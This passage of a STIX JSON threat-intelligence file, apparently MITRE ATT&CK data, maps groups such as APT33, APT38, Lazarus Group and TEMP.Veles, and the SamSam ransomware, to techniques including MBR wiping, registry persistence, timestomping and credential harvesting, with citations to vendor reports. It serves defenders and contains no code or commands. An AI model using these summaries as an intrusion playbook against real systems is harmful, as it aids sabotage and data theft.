            "external_references": [
                {
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "source_name": "Symantec Elfin Mar 2019"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used HTTP for command and control.(Citation: Symantec Elfin Mar 2019)",
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            "id": "relationship--bf7102db-9b22-4534-ac52-83d95152c242",
            "type": "relationship",
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            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
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                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
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                    "source_name": "Symantec Elfin Mar 2019"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used FTP to exfiltrate files (separately from the C2 channel).(Citation: Symantec Elfin Mar 2019)",
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                {
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "source_name": "Symantec Elfin Mar 2019"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used ports 808 and 880 for command and control.(Citation: Symantec Elfin Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--561e83db-538a-415b-8a7a-08e0009135f0",
            "type": "relationship",
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            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "source_name": "Symantec Elfin Mar 2019"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has created a scheduled task to execute a .vbe file multiple times a day.(Citation: Symantec Elfin Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--9a380085-30dd-4a57-bd52-f85acd584e43",
            "type": "relationship",
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            "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
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                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK to render systems inoperable.(Citation: FireEye APT38 Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--95f54d2e-cfa0-4afc-a5f4-9da7da55242a",
            "type": "relationship",
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            ],
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            "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
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                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used Hermes ransomware to encrypt files with AES256.(Citation: FireEye APT38 Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--02e23a00-846a-4b86-9146-4a7354c23667",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.564Z",
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            ],
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
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                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom secure delete function to make deleted files unrecoverable.(Citation: FireEye APT38 Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--77cd972c-459f-4cac-ae21-3cc1a96df09e",
            "type": "relationship",
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            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "external_references": [
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.(Citation: Novetta Blockbuster Destructive Malware)",
            "relationship_type": "uses",
            "id": "relationship--411aae3a-f612-41bb-b2f0-1639d2cbc290",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.657Z",
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            "object_marking_refs": [
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            "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf",
                    "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.",
                    "source_name": "US-CERT SHARPKNOT June 2018"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009.(Citation: US-CERT SHARPKNOT June 2018)(Citation: Novetta Blockbuster)",
            "relationship_type": "uses",
            "id": "relationship--b00c9e09-d98f-40b4-bc4e-0c3e9fe873e1",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.695Z",
            "created": "2019-04-12T16:59:08.040Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac",
            "external_references": [
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. A similar process is then used to wipe content in logical drives and, finally, attempt to wipe every byte of every sector on every drive. WhiskeyBravo can be used to overwrite the first 4.9MB of physical drives. WhiskeyDelta can overwrite the first 132MB or 1.5MB of each drive with random data from heap memory.(Citation: Novetta Blockbuster Destructive Malware)",
            "relationship_type": "uses",
            "id": "relationship--78ca7fcf-95b9-485c-a87b-2ac083312885",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.665Z",
            "created": "2019-04-12T16:59:08.044Z"
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        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a custom secure delete function to overwrite file contents with data from heap memory.(Citation: Novetta Blockbuster)",
            "relationship_type": "uses",
            "id": "relationship--27323a25-ef80-4519-b934-19f5ff090c70",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.645Z",
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        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "external_references": [
                {
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "source_name": "FireEye APT38 Oct 2018"
                },
                {
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "source_name": "LogRhythm WannaCry"
                },
                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                },
                {
                    "source_name": "SecureWorks WannaCry Analysis",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019."
                }
            ],
            "description": "(Citation: FireEye APT38 Oct 2018)(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)",
            "relationship_type": "uses",
            "id": "relationship--25e7ca82-2784-433a-90a9-a3483615a655",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.677Z",
            "created": "2019-04-12T17:01:01.255Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079",
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                }
            ],
            "description": "(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)",
            "relationship_type": "uses",
            "id": "relationship--00e9a38d-6dc5-4d67-b2fe-977b1c7d17dd",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.668Z",
            "created": "2019-04-12T17:01:01.266Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "external_references": [
                {
                    "source_name": "ESET OceanLotus macOS April 2019",
                    "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/",
                    "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor hides the clientID file via a chflags function.(Citation: ESET OceanLotus macOS April 2019)",
            "relationship_type": "uses",
            "id": "relationship--c7bb75c5-c678-4ea7-b9ed-0c12c5de3077",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.957Z",
            "created": "2019-04-15T20:57:46.638Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "ESET OceanLotus macOS April 2019",
                    "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/",
                    "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor can receive a \u201cdelete\u201d command.(Citation: ESET OceanLotus macOS April 2019)",
            "relationship_type": "uses",
            "id": "relationship--8029cccc-e198-4326-ac27-67b5968007ee",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.967Z",
            "created": "2019-04-15T20:57:46.666Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345",
            "external_references": [
                {
                    "source_name": "ESET OceanLotus macOS April 2019",
                    "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/",
                    "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor changes the permission of the file it wants to execute to 755.(Citation: ESET OceanLotus macOS April 2019)",
            "relationship_type": "uses",
            "id": "relationship--a4409632-996c-4f20-bdb0-a8e92c98307f",
            "type": "relationship",
            "modified": "2020-03-17T15:10:11.093Z",
            "created": "2019-04-15T20:57:46.671Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.",
                    "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf",
                    "source_name": "Sophos SamSam Apr 2018"
                },
                {
                    "source_name": "Talos SamSam Jan 2018",
                    "url": "https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html",
                    "description": "Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019."
                }
            ],
            "description": "[SamSam](https://attack.mitre.org/software/S0370) has been seen using AES or DES to encrypt payloads and payload components.(Citation: Sophos SamSam Apr 2018)(Citation: Talos SamSam Jan 2018)",
            "relationship_type": "uses",
            "id": "relationship--28e637e9-480a-443b-82d7-13b7e2968733",
            "type": "relationship",
            "modified": "2019-04-18T20:59:56.995Z",
            "created": "2019-04-16T12:57:12.866Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "external_references": [
                {
                    "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.",
                    "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf",
                    "source_name": "Sophos SamSam Apr 2018"
                }
            ],
            "description": "[SamSam](https://attack.mitre.org/software/S0370) has used garbage code to pad some of its malware components.(Citation: Sophos SamSam Apr 2018)",
            "relationship_type": "uses",
            "id": "relationship--4c44fea9-545c-4d2f-a5e9-caee38ee65b4",
            "type": "relationship",
            "modified": "2019-04-18T20:59:57.015Z",
            "created": "2019-04-16T12:57:12.888Z"
        },
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            ],
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            "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "external_references": [
                {
                    "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.",
                    "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf",
                    "source_name": "Sophos SamSam Apr 2018"
                }
            ],
            "description": "[SamSam](https://attack.mitre.org/software/S0370) encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.(Citation: Sophos SamSam Apr 2018)",
            "relationship_type": "uses",
            "id": "relationship--ac263a26-1773-4ac1-b81b-b29f9ace484a",
            "type": "relationship",
            "modified": "2019-04-18T20:59:57.030Z",
            "created": "2019-04-16T12:57:12.895Z"
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        {
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            ],
            "source_ref": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.",
                    "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf",
                    "source_name": "Sophos SamSam Apr 2018"
                }
            ],
            "description": "[SamSam](https://attack.mitre.org/software/S0370) has been seen deleting its own files and payloads to make analysis of the attack more difficult.(Citation: Sophos SamSam Apr 2018)",
            "relationship_type": "uses",
            "id": "relationship--063bf46c-0210-4e2f-bd7e-6db0f0975f07",
            "type": "relationship",
            "modified": "2019-04-18T20:59:57.031Z",
            "created": "2019-04-16T12:57:12.928Z"
        },
        {
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            ],
            "source_ref": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.",
                    "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf",
                    "source_name": "Sophos SamSam Apr 2018"
                }
            ],
            "description": "[SamSam](https://attack.mitre.org/software/S0370) uses custom batch scripts to execute some of its components.(Citation: Sophos SamSam Apr 2018)",
            "relationship_type": "uses",
            "id": "relationship--341025e9-e0b8-4e9b-873c-40d7bc86e131",
            "type": "relationship",
            "modified": "2019-04-18T20:59:57.048Z",
            "created": "2019-04-16T12:57:12.930Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "external_references": [
                {
                    "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group",
                    "source_name": "Symantec Gallmaker Oct 2018"
                }
            ],
            "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) has used WinZip, likely to archive data prior to exfiltration.(Citation: Symantec Gallmaker Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--5677034a-7015-44a2-94b3-9913bc76b9c7",
            "type": "relationship",
            "modified": "2020-03-30T02:16:58.128Z",
            "created": "2019-04-16T14:47:49.597Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.(Citation: FireEye TRITON 2019)\n",
            "relationship_type": "uses",
            "id": "relationship--b9ca1199-cb71-4435-84ec-75aee916d1ae",
            "type": "relationship",
            "modified": "2020-03-18T16:09:29.302Z",
            "created": "2019-04-16T15:21:57.810Z"
        },
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            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used [Mimikatz](https://attack.mitre.org/software/S0002) and a custom tool, SecHack, to harvest credentials. (Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--f2dc80a5-b616-464c-94cd-6d52395f79fe",
            "type": "relationship",
            "modified": "2020-03-20T00:20:47.593Z",
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            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                },
                {
                    "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.",
                    "url": "https://dragos.com/resource/xenotime/",
                    "source_name": "Dragos Xenotime 2018"
                }
            ],
            "description": "(Citation: FireEye TRITON 2019)(Citation: Dragos Xenotime 2018)",
            "relationship_type": "uses",
            "id": "relationship--a8068bc5-7382-448b-9583-1f61edb68b96",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.701Z",
            "created": "2019-04-16T15:21:57.835Z"
        },
        {
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            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--57216102-21aa-402b-b306-79e1dd548716",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.698Z",
            "created": "2019-04-16T15:21:57.842Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has modified and added entries within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code> to maintain persistence.(Citation: FireEye TRITON 2019)\t\n",
            "relationship_type": "uses",
            "id": "relationship--173ba3ee-3bec-4849-b6a2-94ee5bce5f8e",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.322Z",
            "created": "2019-04-16T15:47:48.755Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used scheduled task XML triggers.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--a8c82128-fcd4-49b2-8429-39a2b6db8c70",
            "type": "relationship",
            "modified": "2020-03-28T21:30:51.514Z",
            "created": "2019-04-16T15:47:48.773Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) used timestomping to modify the $STANDARD_INFORMATION attribute on tools.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--cafe602e-c163-451c-8d61-69907e59968c",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.405Z",
            "created": "2019-04-16T15:47:48.777Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) routinely deleted tools, logs, and other files after they were finished with them.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--d705cc12-1d6c-414d-8b39-1c099dec07ab",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.411Z",
            "created": "2019-04-16T15:47:48.783Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has created staging folders in directories that were infrequently used by legitimate users or processes.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--28d58aa4-48ee-41c7-aefa-8e4402ddad3c",
            "type": "relationship",
            "modified": "2020-03-17T15:02:26.320Z",
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        },
        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--857e24ad-248e-4068-b142-4421bc9254c4",
            "type": "relationship",
            "modified": "2020-03-17T16:57:14.976Z",
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        },
        {
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            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used compromised VPN accounts.(Citation: FireEye TRITON 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--cf506331-5caf-44a2-8020-34bbefda43eb",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.413Z",
            "created": "2019-04-16T16:08:49.378Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
